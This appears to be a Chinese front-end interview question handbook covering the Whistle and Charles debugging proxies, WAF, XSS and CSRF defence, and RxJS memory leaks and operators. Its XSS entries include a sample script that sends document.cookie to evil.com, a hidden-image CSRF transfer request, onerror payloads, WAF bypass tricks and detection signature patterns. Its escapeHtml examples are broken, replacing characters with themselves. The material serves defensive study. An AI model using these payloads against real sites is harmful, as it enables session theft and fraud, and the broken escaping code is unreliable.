前端面试题手册

梳理高频技术问题,帮助你按主题复习和查漏补缺。

前端阅读 05月27日 21:43

whistle 和 Charles 有什么区别,如何选择使用?

核心结论Whistle 开源免费、规则灵活、扩展性强,适合日常高频调试的前端开发者;Charles 图形界面友好、开箱即用,适合偶尔抓包或不熟悉命令行的用户。两者都是 HTTP/HTTPS 调试代理,但设计理念不同:Whistle 靠规则配置驱动,Charles 靠可视化操作驱动。关键差异| 维度 | Whistle | Charles ||------|---------|---------|| 开源与费用 | 完全开源免费 | 商业软件,$50/许可证 || 技术栈 | Node.js,npm 安装 | Java,独立安装包 || 配置方式 | 规则语法(类似 hosts),可脚本化 | 图形界面点选操作 || 协议支持 | HTTP/HTTPS/WebSocket/TCP | HTTP/HTTPS || 插件生态 | npm 插件,可注入 JS/CSS/vConsole | 内置功能为主,扩展有限 || 移动端抓包 | 需手动配代理+装证书,规则可共享 | 同样需配代理,界面操作更直观 || Mock 能力 | 规则指定接口固定返回,不会超时 | Map Local/Rewrite 实现,配置稍繁琐 |选 Whistle 的典型场景团队协作:规则文件可纳入 Git 版本控制,新人拉取即用频繁 Mock:前端联调时给接口固定回参,避免后端未就绪导致阻塞注入调试:通过插件往页面注入 vConsole、eruda 等移动端调试工具预算有限:个人项目或小团队不想付费选 Charles 的典型场景临时抓包:偶尔排查一个接口问题,打开就能用带宽限速测试:内置 Throttle 功能,模拟弱网环境更方便AJAX 调试:请求/响应结构化展示清晰,搜索匹配可定位到具体字段非技术背景:产品或测试人员更习惯图形界面追问:能不能两个都用?可以。日常开发用 Whistle 处理规则和 Mock,遇到需要弱网测试或快速排查时切 Charles。注意两者不能同时监听同一端口,需错开代理端口配置。
前端阅读 05月27日 21:43

什么是 WAF(Web 应用防火墙)?如何使用 WAF 防止 XSS 攻击?

核心答案WAF(Web Application Firewall)是部署在 Web 应用前端的流量检测与过滤层,通过分析 HTTP 请求的参数、头部、正文等内容,识别并拦截 XSS、SQL 注入等攻击。防止 XSS 的核心逻辑:WAF 对请求做多重解码(URL 解码、HTML 实体解码、Unicode 解码等),再用正则签名或语义分析匹配 <script>、javascript:、onerror= 等 XSS 特征,命中则阻断请求。三种检测机制签名检测——最主流。用正则匹配已知 XSS payload 模式,如 <script> 标签、事件处理器 on\w+=、javascript: 伪协议等。优点是速度快、规则可控;缺点是只能检测已知模式,编码绕过可逃逸。行为分析——统计维度判断。监控单 IP 请求频率、参数长度异常、特殊字符密度等,超过阈值则标记风险。适合对付自动化扫描和批量注入,但误报率较高。语义/机器学习检测——对输入做语法解析或用训练模型预测恶意概率,能识别变形和混淆 payload,但部署成本高、延迟大,通常作为辅助层。常见绕过与防护| 绕过方式 | 示例 | WAF 对策 ||---------|------|---------|| URL 编码 | %3Cscript%3E | 多层 URL 解码 || 大小写混淆 | <ScRiPt> | 规则不区分大小写 || 事件处理器 | <img src=x onerror=alert(1)> | 匹配 on\w+\s*= 模式 || 字符串拼接 | eval(String.fromCharCode(...)) | 语义分析 + 行为监控 |关键原则:不能只靠 WAF。输入验证、输出编码、CSP 策略必须同步部署,WAF 是纵深防御的一层,不是银弹。面试追问WAF 和传统防火墙的区别? 传统防火墙工作在网络/传输层(L3/L4),基于 IP 和端口过滤;WAF 工作在应用层(L7),理解 HTTP 语义,能识别业务逻辑攻击。WAF 误报怎么处理? 白名单放行合法请求,调整规则阈值,结合业务上下文做灰度观察,逐步收紧策略。WAF 部署位置? 反向代理模式(串联,阻断能力强)或旁路镜像模式(只检测不阻断,适合审计)。
前端阅读 05月27日 21:43

whistle 常见问题有哪些,如何排查和解决?

核心排查思路Whistle 常见问题集中在四个环节:安装启动 → 代理连通 → HTTPS 证书 → 规则生效。逐层排查即可定位大多数问题。安装启动失败怎么办安装报 EACCES 权限错误,用 sudo npm i -g whistle 或改用 nvm 管理 Node 版本。启动报端口占用,先 w2 stop 再 w2 start,或用 -p 指定端口:w2 start -p 8080。启动成功但无法访问 127.0.0.1:8899,运行 w2 status 确认进程存活,再检查防火墙是否放行了对应端口。手机连不上代理怎么排查确保手机和电脑在同一 Wi-Fi 下,手机代理地址填电脑局域网 IP(不是 127.0.0.1),端口填 whistle 监听端口。电脑防火墙需允许该端口入站连接。仍不通时,用 curl -x http://电脑IP:端口 http://example.com 在另一设备验证代理是否可达。HTTPS 抓包失败如何解决这是最高频问题,分两步走:启用 HTTPS 拦截:whistle 面板点击 HTTPS → 勾选 Capture HTTPS安装根证书:浏览器访问 rootca.pro 下载证书,安装到系统"受信任的根证书颁发机构"iOS 额外步骤:安装描述文件后,还需在"设置 → 通用 → 关于本机 → 证书信任设置"中手动开启信任。Android 7+ 默认不信任用户证书,需 root 或配置 networksecurityconfig。Firefox 使用独立证书库,需单独导入。规则不生效怎么排查按以下顺序检查:规则语法是否正确 → 是否被注释或被更靠前的规则覆盖 → 是否需要 w2 restart 重载 → 浏览器缓存是否干扰(用隐身模式验证)。在 Network 面板查看请求是否经 whistle 转发,未转发则代理配置有误。性能问题如何优化规则过多或正则过复杂会拖慢响应。精简规则、避免贪婪匹配,必要时 w2 restart 释放内存。日志积累过多时清空:Network → Tools → Server 清理即可。 追问:应用使用了 SSL Pinning 怎么办?— 用 域名 disable://capture 跳过该域名的解密,或借助 Frida/Xposed 绕过证书校验。多实例共存?用不同端口和 --dirname 指定独立数据目录启动。
前端阅读 05月27日 21:42

如何在 RxJS 中防止内存泄漏?

核心答案RxJS 内存泄漏的根因是订阅了 Observable 却未取消订阅,导致回调闭包持有外部引用,阻止垃圾回收。防止泄漏的关键就一条:确保每个订阅都有取消的时机。最推荐的方式是 takeUntil 模式:private destroy$ = new Subject<void>();ngOnInit() { this.http.get('/api/data').pipe( takeUntil(this.destroy$) ).subscribe(data => this.data = data);}ngOnDestroy() { this.destroy$.next(); this.destroy$.complete();}组件销毁时 destroy$ 发出通知,所有通过 takeUntil 管道的订阅自动完成,闭包释放,GC 可回收相关内存。哪些 Observable 必须取消订阅判断标准:不会自动 complete 的流必须手动取消。interval、timer —— 持续发射,永不完成fromEvent —— 事件监听,永不完成Subject / BehaviorSubject —— 需手动调 complete()Angular 的 params、valueChanges —— 持续流HTTP 请求 httpClient.get() 发射一次后自动 complete,理论上不必取消,但用 takeUntil 也不亏——能顺便中断请求。三种取消策略对比1. takeUntil —— 最推荐,声明式,一个 destroy$ 管所有订阅2. Subscription 聚合 —— new Subscription() + .add(),批量 unsubscribe(),适合非组件场景3. take(1) / first() —— 只需首个值时用,取完自动 complete,注意如果流不发射也不会自动取消容易踩的坑嵌套订阅:外层订阅的回调里再 subscribe,内层订阅完全失控。用 switchMap 替代——它自动取消前一次内部订阅:// 嵌套订阅,内层泄漏this.http.get('/user').subscribe(user => { this.http.get(`/posts/${user.id}`).subscribe(...);});// switchMap 自动管理this.http.get('/user').pipe( switchMap(user => this.http.get(`/posts/${user.id}`))).subscribe(posts => ...);闭包引用大对象:订阅回调捕获外部变量,即使该变量不再使用,只要订阅存活就无法回收。取消订阅即释放闭包引用。服务中的订阅:Service 生命周期等于应用生命周期,在里面 .subscribe() 几乎不可能取消。正确做法是返回 Observable,让调用方决定何时订阅和取消。追问方向takeUntil 和 unsubscribe() 有什么区别?——前者在管道中完成流,后者是外部强制中断;takeUntil 更符合声明式风格switchMap、concatMap、mergeMap 哪个能防止内存泄漏?——switchMap 自动取消前一次,其余不会;多对多场景需配合 takeUntil如何检测 RxJS 内存泄漏?——Chrome DevTools Memory 面板拍快照,对比组件销毁前后 retained size;或在 ngOnDestroy 打日志确认是否执行
前端阅读 05月27日 21:38

什么是 XSS 攻击?XSS 有哪些类型?如何防御?

什么是 XSS 攻击?XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入网页,当其他用户浏览时脚本在其浏览器中执行,可窃取 Cookie、劫持会话、篡改页面内容。XSS 的三种类型存储型 XSS恶意脚本被永久存入服务器(如评论区、数据库)。用户访问含恶意脚本的页面即触发,危害最大,攻击者无需诱骗用户点击链接。示例:评论区提交 <script>fetch("https://evil.com?c="+document.cookie)</script>反射型 XSS恶意脚本通过 URL 参数传入,服务器将其"反射"回响应页面。需诱骗用户点击恶意链接才触发,常见于搜索页、错误页。示例:https://example.com/search?q=<script>alert(1)</script>DOM 型 XSS漏洞纯在客户端,不经过服务器。JavaScript 直接读取 URL 片段等来源并写入 DOM,脚本在浏览器中直接执行。示例:document.getElementById("out").innerHTML = location.hash.slice(1)如何防御 XSS?输入验证:白名单校验用户输入的类型、长度、格式,拒绝不合预期数据输出编码:根据上下文(HTML/JS/URL/CSS)对特殊字符转义,如 < → <CSP 策略:设置 Content-Security-Policy 限制脚本来源,禁止内联脚本执行HttpOnly Cookie:设置 Cookie 的 HttpOnly 标志,使 JS 无法读取敏感 Cookie安全 API:用 textContent 代替 innerHTML,避免 eval() 和 new Function()框架防护:React/Vue 默认转义输出,但 dangerouslySetInnerHTML / v-html 需格外谨慎常见追问XSS 和 CSRF 有什么区别?XSS 是向页面注入脚本执行恶意操作;CSRF 是借用用户已登录的身份,构造请求让浏览器自动带上 Cookie 发起伪造操作。XSS 偷数据,CSRF 冒充用户。CSP 能完全防止 XSS 吗?不能。CSP 限制脚本来源和执行方式,但如果攻击者能在允许的脚本来源中注入代码(如 CDN 被攻破),CSP 也无法阻止。防御需多层配合。SameSite Cookie 对 XSS 有什么影响?SameSite 控制 Cookie 跨站发送行为,主要防御 CSRF。对 XSS 本身无直接防护,但可限制窃取到的 Cookie 在跨站请求中被自动携带,缩小攻击面。
前端阅读 05月27日 21:38

whistle 的规则语法是什么,常用的操作符有哪些?

规则语法Whistle 规则的基本格式为 pattern operation [lineProps] [filters],即"匹配模式 + 操作 + 可选配置"。当请求 URL 匹配 pattern 时,whistle 对其执行 operation 定义的操作。常用操作符修改请求/响应:reqHeaders:修改请求头,如 www.test.com reqHeaders://x-token=abcresHeaders:修改响应头,如 www.test.com resHeaders://{cors.json}resBody / resReplace:替换响应体或响应内容映射与代理:file:映射到本地文件,如 www.test.com/api file://{mock.json}host:修改 Host 指向,如 www.test.com host 127.0.0.1:8080proxy / forward:通过代理或指定地址转发请求脚本与延迟:reqScript / resScript:用脚本动态处理请求或响应resDelay:模拟响应延迟,如 www.test.com resDelay://3000匹配模式按模糊程度从精确到宽泛:精确匹配:$www.test.com/api — 加 $ 前缀,仅匹配该 URL路径匹配:www.test.com/api — 匹配该路径下所有请求通配符匹配:*.test.com 或 ^https://**.test.com/**正则匹配:/api\/v2/i — 用正则灵活匹配 URL规则优先级与合并相同 pattern 不同 operation 会合并生效,如 www.test.com resDelay://3000 file://{data.json} 同时延迟并返回本地数据相同 pattern 相同 operation 取最前面的规则用 lineProps://important 提升单行优先级用 excludeFilter / includeFilter 对匹配结果二次过滤追问Whistle 如何实现只对 POST 请求生效?用 includeFilter://m:post 过滤请求方法多条规则冲突时如何排查?看 Rules 面板的匹配日志,或用 lineProps://important 调整优先级Whistle 和 Charles 的核心区别?Whistle 基于规则文件配置、支持脚本和插件,Charles 偏 GUI 操作
前端阅读 05月27日 21:37

常见 XSS Payload 有哪些?

常见 XSS Payload 有哪些?XSS Payload 是注入页面后可在浏览器执行的恶意代码片段,面试常考按攻击目的分类和绕过手法。答案Cookie/会话窃取——document.cookie 读取会话信息外发。防护:Cookie 设 HttpOnly。页面篡改与钓鱼——修改 DOM 或注入伪造登录框。防护:输入做 HTML 实体编码后再渲染。键盘记录——监听 keydown 回传按键。防护:CSP 的 connect-src 限制外发目标。CSRF 辅助——JS 能读 CSRF Token 构造合法请求,XSS 场景下 CSRF Token 无效。绕过手法大小写混写:<ScRiPt> 绕过小写匹配编码变形:HTML 实体、URL 编码、JS Unicode 让关键字变形事件处理器:<img onerror>、<svg onload> 在 <script> 被过滤后仍可触发符号替换:/ 替代空格,反引号替代引号防护优先级输出编码——渲染前 HTML 转义CSP——script-src 'nonce-xxx',nonce 优于 unsafe-inlineHttpOnly Cookie——防 JS 读取白名单校验——拒绝危险字符而非过滤追问unsafe-eval 和 unsafe-inline 风险?——分别允许 eval 和内联脚本,削弱 CSPDOM 型与反射型 XSS 区别?——前者纯客户端 DOM 操作,后者服务端回显输入富文本如何防 XSS?——用 DOMPurify 白名单,而非黑名单过滤
前端阅读 05月27日 21:37

XSS 攻击有哪些危害?如何防范?

核心危害与防范XSS(跨站脚本攻击)允许攻击者向页面注入恶意脚本,危害集中在三个层面:窃取凭据(Cookie、Session ID、Token)、操控用户行为(伪造请求、钓鱼、重定向)、破坏页面完整性(篡改内容、植入挖矿脚本)。具体来说,攻击者通过 document.cookie 窃取会话信息后可劫持账户;注入伪造表单骗取密码;用 window.location 重定向到钓鱼站;监听 keydown 记录键盘输入;甚至用 fetch 携带 credentials:'include' 代发转账请求。DOM 型 XSS 还能直接修改页面 DOM,篡改显示内容。系统性防御方案防御的核心原则是不信任任何用户输入,具体分为四层:输入层:白名单校验 + 长度限制,富文本场景用 DOMPurify 过滤危险标签和属性。输出层:根据上下文选择编码方式——HTML 正文转义 <>&",属性值额外转义引号,URL 上下文做 URL 编码,JS 上下文做 Unicode 转义。优先用 textContent 替代 innerHTML。浏览器层:部署 CSP 策略,禁止内联脚本和外域脚本加载;Cookie 设置 HttpOnly 阻止 JS 读取、SameSite=Strict 防跨站携带;响应头加上 X-Content-Type-Options: nosniff。框架层:React/Vue 默认转义输出,避免 dangerouslySetInnerHTML / v-html;需要渲染 HTML 时必须先 sanitize。追问存储型、反射型、DOM 型 XSS 的区别是什么? 存储型恶意脚本持久化在服务端,所有访问者触发;反射型脚本随 URL 参数传入,需诱骗点击;DOM 型纯前端触发,不经过服务端。CSP 如何绕过? 若配置允许 unsafe-inline 或 unsafe-eval 则形同虚设;JSONP 接口可被利用加载外域脚本。HttpOnly 能防 XSS 吗? 不能,只防 Cookie 读取,攻击者仍可通过 XSS 发起请求(借助浏览器自动携带 Cookie)。
前端阅读 05月27日 21:36

whistle 如何进行性能监控和分析,有哪些优化建议?

答案Whistle 的性能监控和分析主要依赖 Network 面板和规则配置,核心思路是:抓包看耗时,规则模拟瓶颈,对比验证优化效果。Network 面板分析请求耗时Whistle 的 Network 面板类似 Chrome DevTools,展示所有经过代理的 HTTP/HTTPS 请求。选中某条请求后,右侧详情面板可查看请求头、响应头、Cookie、耗时等完整信息。通过点击 Timeline 列可切换为时间线视图,直观看到每个请求的起止时间和并发关系,快速定位慢请求。实际操作中,先按耗时排序找出 Top 慢请求,再逐个分析是 DNS 解析慢、服务端响应慢(TTFB 高),还是资源体积大导致下载慢,针对性优化。弱网模拟测试性能下限用 reqDelay 和 reqSpeed 规则模拟弱网:# 延迟 3 秒www.example.com reqDelay://3000# 限速 50kb/swww.example.com reqSpeed://50移动端场景必须做弱网测试。Whistle 的优势在于手机配代理后直接生效,比 Chrome DevTools 的弱网模拟更贴近真实移动环境。规则辅助性能优化验证压缩验证:用 enable://gzip 或 enable://br 强制开启压缩,对比响应体积变化:www.example.com enable://gzip缓存测试:用 cache:// 规则控制缓存策略,验证缓存头是否生效:www.example.com/static cache://86400www.example.com/api cache://no-store资源替换:用 resReplace 替换线上资源为本地优化版本,快速验证优化效果:www.example.com resReplace://old.js local-optimized.js实战优化流程用 Network 面板抓包,按耗时排序找瓶颈弱网模拟验证最差体验规则注入压缩/缓存/替换,对比优化前后数据用 Composer 重放请求,确认优化稳定Whistle 不是性能监控平台,而是开发阶段的性能诊断工具,适合在上线前发现和验证问题,线上监控仍需 RUM 方案。追问Q: Whistle 和 Chrome DevTools 的 Network 面板有什么区别?Whistle 是独立代理,能抓取手机 App、小程序等非浏览器场景的请求,这是浏览器内嵌工具做不到的。Q: 如何用 Whistle 持续监控性能?Whistle 本身不支持持续监控,但可以导出 HAR 文件,结合脚本定期采集后做趋势分析。
前端阅读 05月27日 21:36

如何检测 XSS 漏洞?有哪些常用的 XSS 检测工具和方法?

答案检测 XSS 漏洞分手动测试和自动化工具两条线。手动测试关注三个输入来源——URL 参数、表单提交、DOM 来源,逐个注入 <script>alert(1)</script>、<img src=x onerror=alert(1)> 等基础 Payload,观察是否原样回显到页面。自动化工具推荐三款:Burp Suite 拦截请求后用 Intruder 批量注入变体 Payload,适合深度测试;XSStrike 专攻 XSS,自带 WAF 绕过和上下文感知的 Payload 生成,命令行一行搞定;OWASP ZAP 开源免费,适合快速扫描。三种 XSS 类型检测侧重不同:反射型盯 URL 参数回显,存储型盯评论区/个人资料等持久化输出,DOM 型盯 innerHTML、document.write 等危险 Sink 以及 location.hash 等客户端 Source。代码审计层面,重点搜 innerHTML、eval、document.write 和未转义的用户输入拼接,配合 ESLint security 插件或 Semgrep 做静态扫描。追问Q: DOM 型 XSS 和反射型 XSS 的根本区别是什么?反射型的恶意数据经过服务器再返回,在响应 HTML 中可见;DOM 型完全在客户端发生,服务端响应里看不到恶意代码,必须审查前端 JS 逻辑才能发现。Q: 如果目标站部署了 WAF,XSS 检测怎么做?先确认 WAF 规则类型。常见绕过:大小写混写 <ScRiPt>、编码绕过 <script>、事件属性替代 <img src=x onerror=...>、利用 SVG/MathML 标签。XSStrike 的 --skip 参数可跳过 WAF 检测直接注入。Q: 如何证明发现的 XSS 漏洞有实际危害?从 alert(1) 升级到可利用场景:窃取 Cookie(document.cookie 发往攻击者服务器)、键盘记录、钓鱼表单注入、组合 CSRF 实现账户接管。面试中能说出危害链路比只会弹框高一个层次。
前端阅读 05月27日 21:35

XSS 和 CSRF 有什么区别?

核心区别XSS 是往页面里注入恶意脚本,让脚本在用户浏览器里执行;CSRF 是伪造用户身份,让浏览器替攻击者发请求。一个攻的是"用户对网站的信任",一个攻的是"网站对浏览器的信任"。| | XSS | CSRF ||---|---|---|| 原理 | 注入脚本在浏览器执行 | 伪造请求冒充用户 || 能力 | 可读写 DOM、窃取 Cookie、发任意请求 | 只能发请求,无法读响应 || 依赖登录 | 不需要 | 需要用户已登录 || 防护核心 | 输入过滤 + 输出编码 | Token + SameSite Cookie |XSS 防护要点三种类型:存储型(脚本入库,持久危害最大)、反射型(URL 参数带脚本)、DOM 型(前端 JS 拼接执行)。防护三板斧:输入侧:白名单校验,过滤特殊字符输出侧:HTML/JS/URL 分上下文编码,textContent 替代 innerHTML纵深防御:CSP 禁内联脚本,Cookie 设 HttpOnly// 输出编码示例function escapeHtml(str) { return str.replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """);}CSRF 防护要点攻击者构造隐藏表单或图片标签,浏览器自动携带 Cookie 发请求,服务器以为是用户本人操作。防护四招:CSRF Token:每次请求携带服务端签发的随机 Token,攻击者拿不到就无法伪造SameSite Cookie:设为 Strict 或 Lax,阻止跨站携带校验 Referer/Origin:拒绝非本站来源的敏感请求自定义 Header:前端加 X-Requested-With,跨域限制让攻击者无法伪造<!-- 典型 CSRF 攻击 --><img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">追问:XSS 能绕过 CSRF 防护吗?能。XSS 可以直接在页面内读取 CSRF Token 再发请求,等于 CSRF 的所有防线全部失效。所以防护 XSS 优先级更高——XSS 搞定了,CSRF 的 Token 机制才真正有效。
前端阅读 05月27日 21:34

whistle 如何解决跨域问题,有哪些常见的跨域场景?

答案Whistle 通过 resCors 协议一行规则即可解决跨域,无需手写脚本或配置 JSON 文件。最常用的三种写法:# 允许所有源(开发环境推荐)api.example.com resCors://*# 仅允许指定源api.example.com resCors://https://www.myapp.com# 启用 CORS 并自动回显请求中的 Originapi.example.com resCors://enableresCors://enable 会把响应头 Access-Control-Allow-Origin 设为请求携带的 Origin 值,适合需要携带 Cookie 的场景。resCors://* 直接设置 Access-Control-Allow-Origin: *,浏览器不会发送凭证但足够覆盖大多数调试需求。如果需要额外控制允许的方法或头部,用 resHeaders 补充:api.example.com resCors://* resHeaders://{cors-extra.json}另一种思路是代理到同源:通过 whistle 将前端和 API 映射到同一域名下,从根源消除跨域:my.app.com/api api.example.commy.app.com 127.0.0.1:3000常见跨域场景本地调试: 前端跑在 localhost:3000,后端在 api.example.com,加一条 resCors://* 即可。多子域名: www.example.com 访问 api.example.com,用 resCors://https://www.example.com 限定来源。携带凭证: 需要带 Cookie 时必须指定具体源,用 resCors://enable 或 resCors://https://www.myapp.com,不能使用 *。线上排查: 结合 SwitchyOmega 将流量导到 whistle,用 resCors://enable 临时放开,抓完即关。追问resCors 和 resHeaders 手动加 CORS 头有什么区别? resCors 是 whistle 内置协议,会同时处理预检请求(OPTIONS)的响应;手动加头容易遗漏 Access-Control-Max-Age 等字段,导致频繁预检。生产环境能用 whistle 解决跨域吗? 不能。whistle 是开发调试工具,生产环境应由 Nginx 或后端服务配置 CORS 策略。Cookie 跨域为什么不能用 *? 浏览器规范要求 Access-Control-Allow-Credentials: true 时 Origin 不能为 *,否则请求直接失败。
前端阅读 05月27日 21:33

whistle 常用的命令行操作有哪些?

核心命令Whistle 的命令行操作都通过 w2 命令完成,常用命令如下:w2 start — 启动服务,默认监听 8899 端口w2 start -p 8080 — 指定端口启动w2 start -S storageName — 指定存储目录,用于多实例管理w2 start -n user -w pass — 设置管理界面的登录用户名和密码w2 stop — 停止服务w2 restart — 重启服务w2 status — 查看运行状态w2 proxy — 设置系统代理w2 proxy 0 — 关闭系统代理w2 ca — 安装 HTTPS 根证书(抓 HTTPS 请求必须)w2 -h — 查看帮助安装只需 npm i -g whistle,Mac 用户也可用 brew install whistle。多实例管理需要同时运行多个 whistle 实例时,每个实例必须指定独立的端口和存储目录:w2 start -p 8010 -S 8010w2 start -p 8020 -S 8020建议端口和存储目录使用相同编号,便于管理。启动进阶参数--httpsPort 8001 — 启用 HTTPS 代理端口--socksPort 1080 — 启用 SOCKSv5 代理端口-P 8889 — 单独设置管理界面端口--inspect — 开启 Node.js 调试(默认 9229 端口)--config /path/to/config.json — 从配置文件加载参数追问:如何在命令行快速切换代理环境?通过 -S 指定不同存储目录,每个目录维护独立的规则集。脚本化切换:#!/bin/bashw2 stopw2 start -p 8899 -S $1执行 ./switch.sh dev 即可切换到 dev 环境的规则,无需手动编辑配置。
前端阅读 05月27日 21:30

如何使用 whistle 拦截 HTTPS 请求,证书如何配置?

答案whistle 作为本地代理,对 HTTPS 请求执行中间人解密:收到客户端 CONNECT 后,用自签 RootCA 为目标域名动态签发证书,再以该证书与客户端建立 TLS 连接,明文拿到请求内容后转发给真实服务器。要让客户端信任这些动态证书,必须把 whistle 的 RootCA 装进系统或浏览器的信任链。证书配置启动并打开管理界面 npm i -g whistle && w2 start浏览器访问 http://127.0.0.1:8899。下载根证书管理界面点击 HTTPS 标签,下载 RootCA。安装到系统信任链Mac:钥匙串访问 → 导入 → 双击设为"始终信任"Windows:双击证书 → 安装到"本地计算机" → 放入"受信任的根证书颁发机构"Linux:sudo cp rootCA.crt /usr/local/share/ca-certificates/ && sudo update-ca-certificates开启拦截勾选 HTTPS 面板的 "Capture HTTPS CONNECTs";只想拦截特定域名用规则 example.com filter://intercept。移动端手机连同一 Wi-Fi,浏览器访问 http://rootca.pro 下载证书,系统设置中信任该证书,再将手机代理指向电脑 IP:8899。踩坑点Android 7+:应用默认不信任用户证书,需 root 或配置 networksecurityconfigiOS 10.3+:安装后还得到 设置 → 通用 → 关于本机 → 证书信任设置 手动开启Firefox:独立证书库,需在 about:preferences 单独导入 RootCA证书锁定:部分 App 校验服务器证书指纹,代理无法拦截追问whistle 拦截 HTTPS 的原理?——中间人代理 + 动态签发证书如何只拦截特定域名?——filter://intercept 规则Android 高版本为什么抓不到包?——用户证书信任域变更
前端阅读 05月27日 21:29

RxJS 中如何处理背压(Backpressure)问题?

什么是背压RxJS 中 Observable 默认是推模型——生产者决定发射节奏。当数据产生速度超过消费者处理速度时,未处理的值会堆积在内存中,这就是背压问题。典型场景包括:高频 DOM 事件、WebSocket 消息流、快速轮询的传感器数据。RxJS 不像 RxJava 有 Flowable 这种原生背压类型,它的策略是"丢、缓、换"三种思路。丢:节流与采样不需要每一条数据时,主动丢弃多余值:throttleTime:时间窗口内只取第一个,适合 scroll/resize 等高频事件debounceTime:等输入静止后再发射,适合搜索框联想sampleTime:周期性取最新值,中间值全部丢弃auditTime:周期性取窗口末尾值,与 sample 语义不同// 滚动事件:200ms 内只处理一次fromEvent(window, 'scroll').pipe( throttleTime(200))// 搜索框:停止输入 300ms 后请求fromEvent(input, 'input').pipe( debounceTime(300), switchMap(e => search(e.target.value)))关键区别:throttle 保证有规律地采样,debounce 保证只在"安静"后触发,面试中经常要求区分二者。缓:批量打包需要全部数据但可以延迟处理时,把值攒起来一起发:bufferTime / bufferCount:按时间或数量打包成数组windowTime / windowCount:类似 buffer,但输出内层 Observable 而非数组// 每 500ms 打包一次传感器数据sensor$.pipe(bufferTime(500)).subscribe(batch => { processBatch(batch); // 一次处理多条});buffer 的风险是缓冲区无限增长,生产速度持续超过消费速度时仍然会内存溢出。实际项目中建议配合 take 或设置上限。换:切换并发模型改变数据消费方式来匹配生产速度:concatMap:完全串行,一个结束再发下一个,最安全但最慢mergeMap(n):限制并发数为 n,兼顾吞吐和资源switchMap:只保留最新请求,自动取消前一个// 并发限制为 3 的批量请求from(ids).pipe( mergeMap(id => fetchUser(id), 3))// 搜索场景:自动取消旧请求input$.pipe( debounceTime(300), switchMap(query => searchAPI(query)))面试高频追问:mergeMap、concatMap、switchMap、exhaustMap 四者的区别。核心区分点在于——新值到来时,是排队(concat)、并行(merge)、取消旧的(switch)还是忽略新的(exhaust)。实际选型思路面试中更看重你能否根据场景选对策略,而不是背诵 API:| 场景 | 推荐策略 | 理由 ||---|---|---|| 滚动/resize 事件 | throttleTime | 只需采样,丢数据无害 || 搜索输入联想 | debounceTime + switchMap | 避免无效请求,自动取消旧请求 || 批量 API 请求 | mergeMap(n) | 控制并发,兼顾效率 || 有序上传文件 | concatMap | 顺序保证,避免竞争 || 高频传感器数据 | bufferTime | 批量处理更高效 |RxJS 没有真正的拉取式背压,本质上是"有损控制"。如果业务要求零丢数据,需要考虑在架构层面引入队列或换用支持 Flowable 的方案。
前端阅读 05月27日 21:29

输入验证和输出编码有什么区别?如何正确使用它们来防止 XSS 攻击?

核心区别输入验证在数据进入系统时检查合法性,输出编码在数据输出到页面时转义危险字符。两者不可互相替代——验证拦不住所有恶意输入,编码兜底保证即使漏网也不会执行。一句话:验证是门卫,编码是防弹衣。输入验证在接收用户输入的环节,对数据的格式、类型、长度做白名单校验,拒绝不符合预期的内容。// 白名单:只允许字母数字function validateUsername(name) { return /^[a-zA-Z0-9]+$/.test(name);}关键原则:用白名单,不用黑名单——黑名单永远补不完绕过方式服务端必须验证,客户端验证可被绕过验证的是"数据是否合法",不是"数据是否危险"输出编码在数据渲染到页面之前,根据输出上下文对特殊字符做转义,使浏览器将其视为文本而非代码。// HTML上下文:转义 < > " ' &function escapeHtml(str) { return str .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, ''');}不同上下文需要不同编码:HTML正文、HTML属性、JavaScript内联、URL参数、CSS——各用对应的转义函数或库(如 DOMPurify 处理 HTML,encodeURIComponent 处理 URL)。为什么两者缺一不可只做验证:攻击者总能找到绕过方式(编码变形、特殊字符组合),验证无法覆盖所有场景只做编码:恶意数据会进入数据库,污染日志、影响其他系统、触发二阶XSS实际流程:用户输入 → 输入验证 → 存储 → 输出编码 → 渲染,每一层各自兜底模板引擎默认编码(EJS <%=%>、Handlebars {{}})能挡住大部分HTML上下文XSS,但JavaScript上下文和URL上下文仍需手动处理。追问:CSP 能替代输出编码吗?不能。CSP(Content Security Policy)限制脚本加载来源,是纵深防御的一环,但无法防御同源内的内联脚本注入,且旧浏览器不支持。CSP 是保险绳,输出编码是安全带,都得系。
前端阅读 05月27日 21:26

RxJS 中如何创建自定义操作符?

核心答案RxJS 创建自定义操作符有三种方式,优先使用组合现有操作符,其次用 pipeable 函数,避免直接 new Observable:// 1. 组合现有操作符(推荐)function debounceSearch(ms = 300) { return pipe( debounceTime(ms), distinctUntilChanged() );}// 2. pipeable 函数function debug<T>(label: string): OperatorFunction<T, T> { return source$ => source$.pipe( tap(v => console.log(label, v)) );}三种方式的区别| 方式 | 适用场景 | 复杂度 ||------|---------|--------|| 组合现有操作符 | 逻辑由已有操作符拼装即可 | 低 || pipeable 函数(返回 source$ => new Observable) | 需要精细控制订阅和退订 | 中 || 直接 new Observable | 极端定制场景,需手动管理全部生命周期 | 高 |直接 new Observable 需要自己处理 next/error/complete 和 teardown,容易遗漏导致内存泄漏,非必要不使用。追问:操作符内如何保证资源释放?返回的 Observable 订阅时必须返回 teardown 函数:function withTimeout<T>(ms: number): OperatorFunction<T, T> { return source$ => new Observable(subscriber => { const timer = setTimeout(() => subscriber.error(new Error('timeout')), ms); const sub = source$.subscribe({ next: v => subscriber.next(v), error: e => subscriber.error(e), complete: () => subscriber.complete() }); // teardown:取消定时器 + 退订上游 return () => { clearTimeout(timer); sub.unsubscribe(); }; });}忘记返回 teardown 是自定义操作符最常见 bug,会导致定时器、子订阅等资源无法回收。追问:RxJS 7+ 写法有什么变化?retryWhen、tap(next, error, complete) 三参数重载等已在 RxJS 7 中弃用或移除。自定义操作符应使用 retry({ count, delay }) 等新 API,组合操作符时优先用 pipe() 而非链式调用。
前端阅读 05月27日 21:26

RxJS 中如何处理错误?有哪些错误处理操作符?

